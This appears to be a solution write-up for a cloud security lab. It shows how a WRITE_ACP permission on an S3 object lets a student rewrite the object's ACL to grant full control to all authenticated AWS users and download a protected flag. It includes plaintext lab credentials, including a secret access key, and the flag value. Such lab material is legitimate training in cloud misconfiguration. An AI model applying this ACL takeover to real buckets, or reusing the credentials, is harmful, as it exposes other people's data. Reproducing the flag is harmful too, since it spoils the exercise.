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Name	Writable Object ACL
URL	https://attackdefense.com/challengedetails?cid=2305
Туре	AWS Cloud Security : S3

Important Note: This document illustrates all the important steps required to complete this lab. This is by no means a comprehensive step-by-step solution for this exercise. This is only provided as a reference to various commands needed to complete this exercise and for your further research on this topic. Also, note that the IP addresses and domain names might be different in your lab.

Solution:

Step 1: Configure AWS CLI with the given AWS access credentials.

Access Credentials to your AWS lab Account

Login URL	https://953385459326.signin.aws.amazon.com/console
Region	US East (N. Virginia) us-east-1
Username	student
Password	Ad1pMsLHrteCaFiR
Access Key ID	AKIA536RTTZ7NDYD3TIS
Secret Access Key	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

Command: aws configure

Step 2: Check S3 buckets.

Commands: aws s3api list-buckets

Step 3: Check objects present in S3 bucket and try downloading them

Commands:

aws s3api list-objects --bucket <bucket-name> aws s3 cp s3://<bucket-name>/flag ./

Cannot download the flag object because of insufficient permissions.

Step 4: Check object ACL.

Commands:

aws s3api get-object-acl --bucket <bucekt-name> --key flag > objacl.json vim objacl.json

WRITE_ACP permission is allowed!

Step 5: Modify the objacl json file to grant full access.

objacl.json:

```
{
    "Owner": {
        "DisplayName": "jeswincloud+1615523806023",
        "ID": "6a82302e7ce26b8764b53822ec7471b333e822ae7184c479491161a32d435341"
    },
    "Grants": [
        {
```

```
"Grantee": {
    "Type": "Group",
    "URI": "http://acs.amazonaws.com/groups/global/AuthenticatedUsers"
    },
    "Permission": "FULL_CONTROL"
    }
]
```

Note: Make sure to modify the Owner's displayName and ID according to the Object ACL you retrieved.

Step 6: Update the new ACL for the object and try downloading the object.

Commands:

aws s3api put-object-acl --bucket <bucket-name> --key flag --access-control-policy file://objacl.json aws s3 cp s3://<bucket-name>/flag ./ cat flag

```
root@Kali:~

File Actions Edit View Help

/ root@Kali aws s3api put-object-acl --bucket s3-secret-953385459326 --key flag --access-control-policy file://objacl.json/sroot@Kali aws s3 cp s3://s3-secret-953385459326/flag .

download: s3://s3-secret-953385459326/flag to ./flag
/ root@Kali cat flag
e7250534af256d12d69b28d6a4d7858d
/ root@Kali --
```

FLAG: e7250534af256d12d69b28d6a4d7858d

Successfully retrieved flag.

References:

AWS CLI (https://docs.aws.amazon.com/cli/latest/reference/)